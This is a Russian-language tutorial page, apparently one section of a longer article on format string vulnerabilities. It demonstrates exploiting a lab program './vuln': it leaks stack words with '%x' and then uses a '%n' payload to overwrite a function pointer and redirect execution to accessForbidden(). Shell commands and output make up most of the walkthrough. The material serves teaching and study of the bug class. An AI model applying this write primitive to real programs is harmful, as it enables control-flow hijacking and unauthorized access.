П О Р Т А Л                            
С Е Т Е В Ы Х                          
П Р О Е К Т О В                        
  
Поиск по сайту:
                                                 
Главная

О проекте

Web-мастеру
     HTML & JavaScript
     SSI
     Perl
     PHP
     XML & XSLT
     Unix Shell

MySQL

Безопасность

Хостинг

Другое








Самое читаемое:

Учебник PHP - "Для Чайника".
Просмотров 177544 раз(а).

Иллюстрированный самоучитель по созданию сайтов.
Просмотров 74862 раз(а).

Учебник HTML.
Просмотров 73655 раз(а).

Руководство по PHP5.
Просмотров 44567 раз(а).

Хостинг через призму DNS.
Просмотров 51321 раз(а).

Подборка текстов стандартных документов.
Просмотров 44693 раз(а).

Учебник PHP - Самоучитель
Просмотров 50942 раз(а).

Документация на MySQL (учебник & справочное руководство)
Просмотров 51376 раз(а).

Внешние атаки...
Просмотров 41600 раз(а).

Учебник PHP.
Просмотров 36886 раз(а).

SSI в примерах.
Просмотров 27627 раз(а).






 
 
| Добавить в избранное | Сделать стартовой Project.Net.Ru | Помощь





Пример первый

Во-первых, нам надо узнать смещение между началом уязвимого буфера и нашим текущим положением в стеке:

>>./vuln "AAAA %x %x %x %x"
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37)
after : ptrf() = 0x8048634 (0xbffff5d4)
Welcome in "helloWorld"

>>./vuln AAAA%3\$x
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5e4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048634 (0xbffff5e4)
Welcome in "helloWorld"

Первый вызов здесь дает нам то, что надо: 3 слова (одно слово = 4 байтам для процессоров x86) отделяют нас от начала переменной buffer. Второй вызов с аргументом AAAA%3\$x подтверждает это.

Наша цель теперь - заменить первоначальное значение указателя ptrf (0x8048634, адрес функции helloWorld()) значением 0x8048654 (адрес accessForbidden()). Нам надо записать 0x8048654 байт (134514260 байт в десятеричном, что-то около 128Мб). Не каждый компьтер может позволить такое использование памяти ... однако тот, который мы используем - может :) Это длится около 20 секунд на двухпроцессорном pentium 350 МГц:

>>./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n `
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [Фхя›000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
0000000000000] (127)
after : ptrf() = 0x8048654 (0xbffff5d4)
You shouldn't be here "accesForbidden"

Что мы сделали? Мы просто предоставили адрес ptrf (0xbffff5d4). Следующий формат считывает слово из стека с точностью 134514256 (мы уже записали 4 байта - адрес ptrf, поэтому нам еще остается записать 134514260-4=134514256 байт). И в конце, мы записываем нужное значение по данному адресу (%3$n).

Назад | Содержание | Вперед



Если Вы не нашли что искали, то рекомендую воспользоваться поиском по сайту:
 





Copyright © 2005-2016 Project.Net.Ru